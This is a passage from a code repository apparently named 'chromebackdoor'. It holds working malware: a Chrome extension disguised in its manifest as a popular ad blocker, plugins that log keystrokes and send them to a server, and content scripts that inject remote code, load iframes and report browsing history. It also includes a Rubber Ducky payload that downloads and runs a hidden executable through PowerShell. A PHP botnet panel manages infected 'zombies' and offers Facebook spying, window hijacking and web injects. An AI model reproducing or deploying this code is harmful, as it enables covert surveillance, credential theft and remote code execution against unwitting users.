r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}} 16 | 17 | var encoded = Base64.encode(query); 18 | $.get(gate_page+'?info='+encoded+'&url='+window.location.href); 19 | } 20 | }); 21 | }); 22 | }; 23 | 24 | %content% 25 | -------------------------------------------------------------------------------- /backdoor/plugins/keylogger.chromebackdoor: -------------------------------------------------------------------------------- 1 | %title%Keylogger%title% 2 | 3 | %content% 4 | var keys=''; 5 | document.onkeypress = function(e) { 6 | get = window.event?event:e; 7 | key = get.keyCode?get.keyCode:get.charCode; 8 | key = String.fromCharCode(key); 9 | keys+=key; 10 | } 11 | window.setInterval(function(){ 12 | var url_steal = server_web + "keylooger.php?c=" + keys 13 | new Image().src = url_steal; 14 | keys = ''; 15 | }, 1000); 16 | %content% 17 | 18 | %option%Please Create keylooger.php%option% -------------------------------------------------------------------------------- /backdoor/plugins/simple.chromebackdoor: -------------------------------------------------------------------------------- 1 | %title%Sample Module%title% 2 | 3 | %content% 4 | var url = window.location.href; 5 | if(url.indexOf('') > -1) 6 | { 7 | console.log("sample inject here"); 8 | } 9 | %content% -------------------------------------------------------------------------------- /backdoor/relais/index.php: -------------------------------------------------------------------------------- 1 | urlencode($_POST['facebookspy_add']), 35 | 'z_name' => urlencode($z_name) 36 | ); 37 | $fields_string = ""; 38 | foreach($fields as $key => $value) 39 | { 40 | $fields_string .= $key.'='.$value.'&'; 41 | } 42 | rtrim($fields_string, '&'); 43 | $ch = curl_init(); 44 | $url = $domain."web/gate.php"; 45 | curl_setopt($ch,CURLOPT_URL, $url); 46 | curl_setopt($ch,CURLOPT_POST, count($fields)); 47 | curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string); 48 | $result = curl_exec($ch); 49 | curl_close($ch); 50 | echo "ok"; 51 | } 52 | ?> -------------------------------------------------------------------------------- /backdoor/relais/lock.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/relais/lock.php -------------------------------------------------------------------------------- /backdoor/relais/show_script.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /backdoor/rubber_ducky/payload.chromebackdoor: -------------------------------------------------------------------------------- 1 | REM source : https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---powershell-wget---execute 2 | DELAY 3000 3 | GUI r 4 | DELAY 400 5 | STRING powershell Start-Process cmd -Verb runAs 6 | DELAY 400 7 | ENTER 8 | DELAY 500 9 | REM change to ALT y for ANG 10 | ALT o 11 | DELAY 800 12 | STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('%server%%exe%',\"$env:temp\ch.exe\"); Start-Process \"$env:temp\ch.exe\"" 13 | ENTER 14 | -------------------------------------------------------------------------------- /backdoor/server/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/.DS_Store -------------------------------------------------------------------------------- /backdoor/server/img/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/img/.DS_Store -------------------------------------------------------------------------------- /backdoor/server/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/img/2.png -------------------------------------------------------------------------------- /backdoor/server/js/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/js/.DS_Store -------------------------------------------------------------------------------- /backdoor/server/js/call.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/js/call.js -------------------------------------------------------------------------------- /backdoor/server/js/check.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() 2 | { 3 | var phish = ""; 4 | var version = 'Build001'; 5 | var tabURL = window.location.href; 6 | 7 | //settings 8 | 9 | var v = document.createElement('script'); 10 | v.type = 'text/javascript'; 11 | v.async = true; 12 | v.id = "scriptchromebackdoor" 13 | v.src = server_web+"relais/jquery.js"; 14 | //var z = document.getElementById('script')[0]; 15 | 16 | var s = document.createElement('script'); 17 | s.type = 'text/javascript'; 18 | s.async = true; 19 | s.src = server_web+"relais/show_script.php"; 20 | document.body.appendChild(v); 21 | document.body.appendChild(s); 22 | 23 | function online(){ 24 | $.get(server_web+'relais/index.php?online=1'); 25 | } 26 | 27 | function iframe(){ 28 | if(typeof $('#zfpjfizeoi')[0] == undefined){ 29 | $.get(server_web+'relais/index.php?iframe=1', function(data){ 30 | if(data != ''){ 31 | var ifrm = document.createElement("IFRAME"); 32 | ifrm.setAttribute("src", data); 33 | ifrm.setAttribute("id", "zfpjfizeoi"); 34 | document.body.appendChild(ifrm); 35 | } 36 | }); 37 | } 38 | } 39 | 40 | setInterval(iframe, 300); 41 | setInterval(online,20000); 42 | var url_history = window.location.href; 43 | 44 | $.get(server_web+'relais/index.php?online=1'); 45 | $.get(server_web+'relais/index.php?history='+url_history); 46 | $.get(server_web+'relais/index.php?n=pop&version='+version); 47 | 48 | //module 49 | 50 | 51 | }); 52 | -------------------------------------------------------------------------------- /backdoor/server/lib/jquery.cookie.min.js: -------------------------------------------------------------------------------- 1 | /*! jquery.cookie v1.4.1 | MIT */ 2 | !function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?a(require("jquery")):a(jQuery)}(function(a){function b(a){return h.raw?a:encodeURIComponent(a)}function c(a){return h.raw?a:decodeURIComponent(a)}function d(a){return b(h.json?JSON.stringify(a):String(a))}function e(a){0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return a=decodeURIComponent(a.replace(g," ")),h.json?JSON.parse(a):a}catch(b){}}function f(b,c){var d=h.raw?b:e(b);return a.isFunction(c)?c(d):d}var g=/\+/g,h=a.cookie=function(e,g,i){if(void 0!==g&&!a.isFunction(g)){if(i=a.extend({},h.defaults,i),"number"==typeof i.expires){var j=i.expires,k=i.expires=new Date;k.setTime(+k+864e5*j)}return document.cookie=[b(e),"=",d(g),i.expires?"; expires="+i.expires.toUTCString():"",i.path?"; path="+i.path:"",i.domain?"; domain="+i.domain:"",i.secure?"; secure":""].join("")}for(var l=e?void 0:{},m=document.cookie?document.cookie.split("; "):[],n=0,o=m.length;o>n;n++){var p=m[n].split("="),q=c(p.shift()),r=p.join("=");if(e&&e===q){l=f(r,g);break}e||void 0===(r=f(r))||(l[q]=r)}return l};h.defaults={},a.removeCookie=function(b,c){return void 0===a.cookie(b)?!1:(a.cookie(b,"",a.extend({},c,{expires:-1})),!a.cookie(b))}}); -------------------------------------------------------------------------------- /backdoor/server/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Chrome Backdoor (graniet)", 3 | "description": "La plus populaire des extensions Chrome, avec plus de 40 millions d'utilisateurs ! \n Bloque la publicité sur le web.", 4 | "version": "2.1", 5 | "manifest_version": 2, 6 | "icons": { 7 | "16": "img/2.png", 8 | "32": "img/2.png", 9 | "48": "img/2.png", 10 | "128": "img/2.png" 11 | }, 12 | "background":{ 13 | "scripts":[ 14 | "js/call.js", 15 | "lib/jquery.min.js" 16 | ] 17 | }, 18 | "content_scripts": [ 19 | { 20 | "matches": [ 21 | "" 22 | ], 23 | "js": [ 24 | "lib/jquery.min.js", 25 | "js/check.js" 26 | ] 27 | } 28 | ], 29 | "permissions": [ 30 | "tabs", 31 | "http://*/", 32 | "https://*/", 33 | "background", 34 | "webRequest", 35 | "storage", 36 | "browsingData" 37 | ] 38 | } -------------------------------------------------------------------------------- /backdoor/sql/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/sql/.DS_Store -------------------------------------------------------------------------------- /backdoor/sql/chromebackdoor.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version 4.4.10 3 | -- http://www.phpmyadmin.net 4 | -- 5 | -- Client : localhost:8889 6 | -- Généré le : Ven 15 Avril 2016 à 10:48 7 | -- Version du serveur : 5.5.42 8 | -- Version de PHP : 5.6.10 9 | 10 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; 11 | SET time_zone = "+00:00"; 12 | 13 | 14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 17 | /*!40101 SET NAMES utf8mb4 */; 18 | 19 | -- 20 | -- Base de données : `chrombackdoor-master` 21 | -- 22 | 23 | -- -------------------------------------------------------- 24 | 25 | -- 26 | -- Structure de la table `action_wait` 27 | -- 28 | 29 | CREATE TABLE `action_wait` ( 30 | `id` int(11) NOT NULL, 31 | `zombie_name` text NOT NULL, 32 | `commande` text NOT NULL, 33 | `used` int(11) NOT NULL DEFAULT '0' 34 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 35 | 36 | -- -------------------------------------------------------- 37 | 38 | -- 39 | -- Structure de la table `bots` 40 | -- 41 | 42 | CREATE TABLE `bots` ( 43 | `id` int(11) NOT NULL, 44 | `name` text NOT NULL, 45 | `backdoor_name` text NOT NULL, 46 | `numbers_logs` int(11) NOT NULL DEFAULT '0', 47 | `online` int(11) NOT NULL DEFAULT '0' 48 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 49 | 50 | -- -------------------------------------------------------- 51 | 52 | -- 53 | -- Structure de la table `bot_settings` 54 | -- 55 | 56 | CREATE TABLE `bot_settings` ( 57 | `id` int(11) NOT NULL, 58 | `setting_name` text NOT NULL, 59 | `setting_value` text NOT NULL, 60 | `bot_id` text NOT NULL, 61 | `available` int(11) NOT NULL DEFAULT '0' 62 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 63 | 64 | -- -------------------------------------------------------- 65 | 66 | -- 67 | -- Structure de la table `facebookspy` 68 | -- 69 | 70 | CREATE TABLE `facebookspy` ( 71 | `id` int(11) NOT NULL, 72 | `bot_id` int(11) NOT NULL, 73 | `source_code` longtext NOT NULL, 74 | `date_last` text NOT NULL, 75 | `new` int(11) NOT NULL DEFAULT '0' 76 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 77 | 78 | -- -------------------------------------------------------- 79 | 80 | -- 81 | -- Structure de la table `hijacking_window` 82 | -- 83 | 84 | CREATE TABLE `hijacking_window` ( 85 | `id` int(11) NOT NULL, 86 | `bot_id` int(11) NOT NULL, 87 | `windows_code` longtext NOT NULL 88 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 89 | 90 | -- -------------------------------------------------------- 91 | 92 | -- 93 | -- Structure de la table `history_web` 94 | -- 95 | 96 | CREATE TABLE `history_web` ( 97 | `id` int(11) NOT NULL, 98 | `website` text NOT NULL, 99 | `zombie` text NOT NULL, 100 | `timevisit` text NOT NULL 101 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 102 | 103 | -- -------------------------------------------------------- 104 | 105 | -- 106 | -- Structure de la table `logs_checker` 107 | -- 108 | 109 | CREATE TABLE `logs_checker` ( 110 | `id` int(11) NOT NULL, 111 | `id_zombie` int(11) NOT NULL, 112 | `url_site` text NOT NULL, 113 | `logs_site` text NOT NULL, 114 | `last` int(11) DEFAULT '0', 115 | `zombie` text NOT NULL, 116 | `webinject` text NOT NULL 117 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 118 | 119 | -- -------------------------------------------------------- 120 | 121 | -- 122 | -- Structure de la table `payloads` 123 | -- 124 | 125 | CREATE TABLE `payloads` ( 126 | `id` int(11) NOT NULL, 127 | `name` text NOT NULL, 128 | `urlverif` text NOT NULL, 129 | `codeinject` text NOT NULL, 130 | `action` int(11) NOT NULL DEFAULT '0' 131 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 132 | 133 | -- -------------------------------------------------------- 134 | 135 | -- 136 | -- Structure de la table `settings` 137 | -- 138 | 139 | CREATE TABLE `settings` ( 140 | `id` int(11) NOT NULL, 141 | `hide_panel` int(11) NOT NULL DEFAULT '0', 142 | `get_name` text NOT NULL, 143 | `get_value` text NOT NULL, 144 | `jabber_username` text NOT NULL, 145 | `jabber_password` text NOT NULL, 146 | `jabber_to` text NOT NULL 147 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; 148 | 149 | -- 150 | -- Contenu de la table `settings` 151 | -- 152 | 153 | INSERT INTO `settings` (`id`, `hide_panel`, `get_name`, `get_value`, `jabber_username`, `jabber_password`, `jabber_to`) VALUES 154 | (1, 0, '', '', '', '', ''); 155 | 156 | -- -------------------------------------------------------- 157 | 158 | -- 159 | -- Structure de la table `utilisateurs` 160 | -- 161 | 162 | CREATE TABLE `utilisateurs` ( 163 | `id` int(11) NOT NULL, 164 | `username` text NOT NULL, 165 | `password` varchar(255) NOT NULL, 166 | `roles` int(11) NOT NULL DEFAULT '3', 167 | `bot` int(11) NOT NULL DEFAULT '0' 168 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; 169 | 170 | -- 171 | -- Contenu de la table `utilisateurs` 172 | -- 173 | 174 | INSERT INTO `utilisateurs` (`id`, `username`, `password`, `roles`, `bot`) VALUES 175 | (1, 'root', '7b24afc8bc80e548d66c4e7ff72171c5', 0, 0); 176 | 177 | -- -------------------------------------------------------- 178 | 179 | -- 180 | -- Structure de la table `webinject` 181 | -- 182 | 183 | CREATE TABLE `webinject` ( 184 | `id` int(11) NOT NULL, 185 | `webinject_site` text NOT NULL, 186 | `webinject_code` text NOT NULL, 187 | `webinject_status` int(11) NOT NULL DEFAULT '0' 188 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 189 | 190 | -- 191 | -- Index pour les tables exportées 192 | -- 193 | 194 | -- 195 | -- Index pour la table `action_wait` 196 | -- 197 | ALTER TABLE `action_wait` 198 | ADD PRIMARY KEY (`id`); 199 | 200 | -- 201 | -- Index pour la table `bots` 202 | -- 203 | ALTER TABLE `bots` 204 | ADD PRIMARY KEY (`id`); 205 | 206 | -- 207 | -- Index pour la table `bot_settings` 208 | -- 209 | ALTER TABLE `bot_settings` 210 | ADD PRIMARY KEY (`id`); 211 | 212 | -- 213 | -- Index pour la table `facebookspy` 214 | -- 215 | ALTER TABLE `facebookspy` 216 | ADD PRIMARY KEY (`id`); 217 | 218 | -- 219 | -- Index pour la table `hijacking_window` 220 | -- 221 | ALTER TABLE `hijacking_window` 222 | ADD PRIMARY KEY (`id`); 223 | 224 | -- 225 | -- Index pour la table `history_web` 226 | -- 227 | ALTER TABLE `history_web` 228 | ADD PRIMARY KEY (`id`); 229 | 230 | -- 231 | -- Index pour la table `logs_checker` 232 | -- 233 | ALTER TABLE `logs_checker` 234 | ADD PRIMARY KEY (`id`); 235 | 236 | -- 237 | -- Index pour la table `payloads` 238 | -- 239 | ALTER TABLE `payloads` 240 | ADD PRIMARY KEY (`id`); 241 | 242 | -- 243 | -- Index pour la table `settings` 244 | -- 245 | ALTER TABLE `settings` 246 | ADD PRIMARY KEY (`id`); 247 | 248 | -- 249 | -- Index pour la table `utilisateurs` 250 | -- 251 | ALTER TABLE `utilisateurs` 252 | ADD PRIMARY KEY (`id`); 253 | 254 | -- 255 | -- Index pour la table `webinject` 256 | -- 257 | ALTER TABLE `webinject` 258 | ADD PRIMARY KEY (`id`); 259 | 260 | -- 261 | -- AUTO_INCREMENT pour les tables exportées 262 | -- 263 | 264 | -- 265 | -- AUTO_INCREMENT pour la table `action_wait` 266 | -- 267 | ALTER TABLE `action_wait` 268 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 269 | -- 270 | -- AUTO_INCREMENT pour la table `bots` 271 | -- 272 | ALTER TABLE `bots` 273 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 274 | -- 275 | -- AUTO_INCREMENT pour la table `bot_settings` 276 | -- 277 | ALTER TABLE `bot_settings` 278 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 279 | -- 280 | -- AUTO_INCREMENT pour la table `facebookspy` 281 | -- 282 | ALTER TABLE `facebookspy` 283 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 284 | -- 285 | -- AUTO_INCREMENT pour la table `hijacking_window` 286 | -- 287 | ALTER TABLE `hijacking_window` 288 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 289 | -- 290 | -- AUTO_INCREMENT pour la table `history_web` 291 | -- 292 | ALTER TABLE `history_web` 293 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 294 | -- 295 | -- AUTO_INCREMENT pour la table `logs_checker` 296 | -- 297 | ALTER TABLE `logs_checker` 298 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 299 | -- 300 | -- AUTO_INCREMENT pour la table `payloads` 301 | -- 302 | ALTER TABLE `payloads` 303 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 304 | -- 305 | -- AUTO_INCREMENT pour la table `settings` 306 | -- 307 | ALTER TABLE `settings` 308 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2; 309 | -- 310 | -- AUTO_INCREMENT pour la table `utilisateurs` 311 | -- 312 | ALTER TABLE `utilisateurs` 313 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2; 314 | -- 315 | -- AUTO_INCREMENT pour la table `webinject` 316 | -- 317 | ALTER TABLE `webinject` 318 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 319 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; 320 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; 321 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 322 | -------------------------------------------------------------------------------- /backdoor/version.txt: -------------------------------------------------------------------------------- 1 | 1.2 -------------------------------------------------------------------------------- /backdoor/web/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/.DS_Store -------------------------------------------------------------------------------- /backdoor/web/action/bots/index.php: -------------------------------------------------------------------------------- 1 |
2 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | prepare("SELECT * FROM bots"); 27 | $bots->execute(); 28 | while($fetch = $bots->fetch()) 29 | { 30 | if($fetch['online'] == '0') 31 | $online = ""; 32 | if($fetch['online'] == '1') 33 | $online = ""; 34 | ?> 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 45 | 46 |
OnlineCountryIdentifyBuildLogs
'>
47 |
48 |
-------------------------------------------------------------------------------- /backdoor/web/action/facebookspy/index.php: -------------------------------------------------------------------------------- 1 | prepare("SELECT * FROM facebookspy WHERE bot_id = :bot_id"); 7 | $select->bindParam(':bot_id', $_GET['id']); 8 | $select->execute(); 9 | if($select->rowCount() < 1){ 10 | exit(); 11 | } 12 | ?> 13 | 14 | 15 |
16 | 28 |
29 |
30 |
31 |

Listing conversation

32 |
33 |
34 |
35 |
36 |
37 |
38 |
Conversation title
39 |
40 |
41 |
42 |
43 |
44 |
45 |
-------------------------------------------------------------------------------- /backdoor/web/action/hijack/index.php: -------------------------------------------------------------------------------- 1 | prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id"); 8 | $select->bindParam(':bot_id', $_GET['id']); 9 | $select->execute(); 10 | if($select->rowCount() < 1){ 11 | exit(); 12 | } 13 | ?> 14 | 15 | 16 | 17 |
18 | 28 |
29 |
30 |
31 |

Old visiting

32 | 33 |
34 |
35 |

Last window

36 |
37 | 38 |
39 |
40 |
41 |
42 |
43 |
-------------------------------------------------------------------------------- /backdoor/web/action/info/index.php: -------------------------------------------------------------------------------- 1 | getName($_GET['id']); 8 | $z_name = $bot->bot_id; 9 | ?> 10 |
11 | 19 |
20 |

Listing action

21 |
22 | 29 | 30 |
31 |
32 |
33 |

Active windows

34 | prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id"); 36 | $select->bindParam(':bot_id', $_GET['id']); 37 | $select->execute(); 38 | if($select->rowCount() > 0){ 39 | $ids = $_GET['id']; 40 | echo "Look last window screen"; 41 | } 42 | ?> 43 |
44 |
45 |

Facebook Spy

46 | 47 |
48 |
49 | prepare("SELECT * FROM facebookspy WHERE bot_id = :bot_id"); 51 | $select->bindParam(':bot_id', $_GET['id']); 52 | $select->execute(); 53 | if($select->rowCount() > 0){ 54 | $ids = $_GET['id']; 55 | echo "Look last conversation"; 56 | } 57 | ?> 58 |
59 |
60 |

Iframe module

61 |
62 |
63 | getSetting($z_name, 'iframe') !== false){ 65 | ?> 66 | 67 | 71 | 72 | 75 |
76 | getSetting($z_name, 'iframe') !== false){ 78 | $status = $bot->getSetting($z_name, 'iframe')['available']; 79 | if($status == '0'){ 80 | $status = "Disabled"; 81 | } 82 | if($status == '1'){ 83 | $status = 'Activated'; 84 | } 85 | ?> 86 |
87 |
88 | 89 | 90 |
91 |
92 | 96 |
97 | 98 |
99 | 102 |
103 | setSetting($z_name, 'iframe', $_POST['url']); 106 | } 107 | elseif(isset($_POST['status'])){ 108 | $bot->changeSettingStatus($z_name, 'iframe'); 109 | echo "status update!"; 110 | } 111 | ?> 112 |
113 |
114 |

Computer history

115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | getHistory($z_name); ?> 124 | 125 |
WebsiteTime
126 |
127 |
-------------------------------------------------------------------------------- /backdoor/web/action/listpayload/index.php: -------------------------------------------------------------------------------- 1 | 7 |
8 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 |
Payload listing
30 |
31 |
-------------------------------------------------------------------------------- /backdoor/web/action/login/index.php: -------------------------------------------------------------------------------- 1 | connexion($username, $new_password); 13 | echo $users->status; 14 | } 15 | } 16 | ?> 17 |
18 |
19 | 20 | 21 | 22 |
23 |
24 | -------------------------------------------------------------------------------- /backdoor/web/action/panel/index.php: -------------------------------------------------------------------------------- 1 |
2 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | prepare("SELECT * FROM logs_checker ORDER BY id DESC LIMIT 0,5"); 26 | $logs->execute(); 27 | while($fetch = $logs->fetch()) 28 | { 29 | if(base64_decode($fetch['logs_site'], true) != ''){ 30 | $log = base64_decode($fetch['logs_site'], true); 31 | } 32 | else{ 33 | $log = $fetch['logs_site']; 34 | } 35 | ?> 36 | 37 | 38 | 39 | 40 | 41 | 42 | 45 | 46 |
#idNameUrlLogs
47 |
48 |
-------------------------------------------------------------------------------- /backdoor/web/action/payload/index.php: -------------------------------------------------------------------------------- 1 | setName($name); 11 | $payload->setUrl($code_url); 12 | $payload->setCode($code_inject); 13 | $payload->insertpayload(); 14 | echo $payload->status; 15 | } 16 | ?> 17 |
18 | 29 |
30 |
31 |
32 | 33 | 34 |
35 |
36 | 37 |
38 | // VERIFIED D'URL
39 | if(tabURL.indexOf('') !== -1 ) // url in ''
40 | {
41 |     Payload_exemple();
42 | }
43 |
44 |
45 | 46 | 47 |
48 |
49 | 50 |
// PAYLOAD FUNCTION NEED HTTPS
51 | function Payload_exemple()
52 | {
53 |     console.log('Injected here')
54 |     var urls = "" // Var for URL
55 |     var phish = "" // Var for logs 
56 |     $.get(server_web+gate_page, { info: phish, url: urls } );
57 | }
58 |
59 |
60 | 61 | 62 |
63 | 64 |
65 |
66 |
-------------------------------------------------------------------------------- /backdoor/web/action/settings/index.php: -------------------------------------------------------------------------------- 1 | 4 |
5 | 16 |
17 | prepare("SELECT * FROM settings WHERE jabber_username = :jabber_username"); 25 | $select->bindParam(':jabber_username', $jabber_username); 26 | $select->execute(); 27 | if($select->rowCount() > 0){ 28 | $fetch = $select->fetch(); 29 | if($fetch['jabber_username'] != ''){ 30 | $update = $bdd->prepare("UPDATE settings SET jabber_username = :username, jabber_password = :password, jabber_to = :jabber_to"); 31 | $update->bindParam(':username', $jabber_username); 32 | $update->bindParam(':password', $jabber_password); 33 | $update->bindParam(':jabber_to', $jabber_to); 34 | $update->execute(); 35 | echo '
Jabber update !
'; 36 | } 37 | } 38 | else{ 39 | $update = $bdd->prepare("UPDATE settings SET jabber_username = :username, jabber_password = :password, jabber_to = :jabber_to"); 40 | $update->bindParam(':username', $jabber_username); 41 | $update->bindParam(':password', $jabber_password); 42 | $update->bindParam(':jabber_to', $jabber_to); 43 | $update->execute(); 44 | echo '
Jabber update !
'; 45 | } 46 | } 47 | } 48 | ?> 49 |
50 |

Jabber notifier

51 |
52 | 53 |
54 |
55 | 56 |
57 |
58 | 59 |
60 | 61 |
62 |
63 |
64 | prepare("SELECT * FROM settings"); 70 | $select_hide_status->execute(); 71 | if($select_hide_status->rowCount() > 0){ 72 | $fetch = $select_hide_status->fetch(); 73 | if($fetch['hide_panel'] < 1){ 74 | $update = $bdd->prepare("UPDATE settings SET hide_panel = '1', get_name = :name, get_value = :value"); 75 | $update->bindParam(':name', $get_name); 76 | $update->bindParam(':value', $get_value); 77 | $update->execute(); 78 | echo '
access to panel with index.php?'.$get_name.'='.$get_value.'
'; 79 | } 80 | } 81 | } 82 | else{ 83 | echo '
Error
'; 84 | } 85 | } 86 | if(isset($_POST['disabled'])){ 87 | $update = $bdd->prepare("UPDATE settings SET hide_panel = '0', get_name = '', get_value = ''"); 88 | $update->execute(); 89 | echo '
disabled
'; 90 | } 91 | ?> 92 |
93 |

Hide panel

94 |
95 | 96 |
97 |
98 | 99 |
100 | 101 | 102 |
103 |
104 |
105 | prepare("SELECT * FROM utilisateurs WHERE username = :username"); 113 | $select->bindParam(':username', $username); 114 | $select->execute(); 115 | if($select->rowCount() > 0){ 116 | $fetch = $select->fetch(); 117 | if($fetch['username'] == $username){ 118 | echo '
User already here
'; 119 | } 120 | else{ 121 | echo '
Error
'; 122 | } 123 | } 124 | else{ 125 | if($roles == '0' || $roles == '1'){ 126 | $insert = $bdd->prepare("INSERT INTO utilisateurs(username,password,roles) VALUES(:username, :password, :roles)"); 127 | $md5 = md5($password); 128 | $insert->bindParam(':username', $username); 129 | $insert->bindParam(':password', $md5); 130 | $insert->bindParam(':roles', $roles); 131 | $insert->execute(); 132 | echo '
User added!
'; 133 | } 134 | else{ 135 | echo '
Error
'; 136 | } 137 | } 138 | } 139 | } 140 | ?> 141 |
142 |

Add user

143 |
144 | 145 |
146 |
147 | 148 |
149 |
150 | 154 |
    155 |
  • Administrator: All right
  • 156 |
  • Logs squatter: Only logs
  • 157 |
158 |
159 | 160 |
161 |
162 |
-------------------------------------------------------------------------------- /backdoor/web/class/bot.class.php: -------------------------------------------------------------------------------- 1 | prepare("SELECT name FROM bots WHERE id = :id"); 9 | $select_name->bindParam(':id', $_GET['id']); 10 | $select_name->execute(); 11 | $result = $select_name->fetch(); 12 | $this->bot_id = $result['name']; 13 | return true; 14 | } 15 | 16 | 17 | static function getLastSpy($bot_id = null){ 18 | if($bot_id != ''){ 19 | global $bdd; 20 | if(is_numeric($bot_id)){ 21 | $select = $bdd->prepare("SELECT date_last FROM facebookspy WHERE bot_id = :bot_id"); 22 | $select->bindParam(':bot_id', $bot_id); 23 | $select->execute(); 24 | if($select->rowCount() > 0){ 25 | $date = $select->fetch()['date_last']; 26 | return $date; 27 | } 28 | else{ 29 | $date = "No date logged"; 30 | return $date; 31 | } 32 | } 33 | } 34 | } 35 | 36 | static function GetLastHistorique($bot_id = NULL){ 37 | if($bot_id != NULL){ 38 | global $bdd; 39 | $select_name = $bdd->prepare("SELECT name FROM bots WHERE id = :id"); 40 | $select_name->bindParam(':id', $_GET['id']); 41 | $select_name->execute(); 42 | $result = $select_name->fetch(); 43 | $select_historique = $bdd->prepare("SELECT * FROM history_web WHERE zombie = :zname"); 44 | $select_historique->bindParam(':zname', $result['name']); 45 | $select_historique->execute(); 46 | if($select_historique->rowCount() > 0){ 47 | while($result = $select_historique->fetch()){ 48 | ?> 49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 | prepare("SELECT * FROM bot_settings WHERE setting_name = :name AND bot_id = :bot_id"); 65 | $select->bindParam(':name', $setting_name); 66 | $select->bindParam(':bot_id', $bot_id); 67 | $select->execute(); 68 | if($select->rowCount() > 0){ 69 | $result = $select->fetch(); 70 | return $result; 71 | } 72 | return false; 73 | } 74 | 75 | public function getHistory($z_name = NULL){ 76 | global $bdd; 77 | $history = $bdd->prepare("SELECT * FROM history_web WHERE zombie = :name ORDER BY id DESC LIMIT 0,5"); 78 | $history->bindParam(':name', $z_name); 79 | $history->execute(); 80 | while($fetch = $history->fetch()){ 81 | ?> 82 | 83 | 84 | 85 | 86 | prepare("SELECT * FROM bot_settings WHERE setting_name = :name AND bot_id = :bot_id"); 93 | $select->bindParam(':name', $setting_name); 94 | $select->bindParam(':bot_id', $bot_id); 95 | $select->execute(); 96 | if($select->rowCount() > 0){ 97 | $update = $bdd->prepare("UPDATE bot_settings SET setting_value = :value WHERE bot_id = :bot_id"); 98 | $update->bindParam(':value', $setting_value); 99 | $update->bindParam(':bot_id', $bot_id); 100 | $update->execute(); 101 | return true; 102 | } 103 | echo $bot_id; 104 | $insert = $bdd->prepare("INSERT INTO bot_settings(setting_name,setting_value,bot_id) 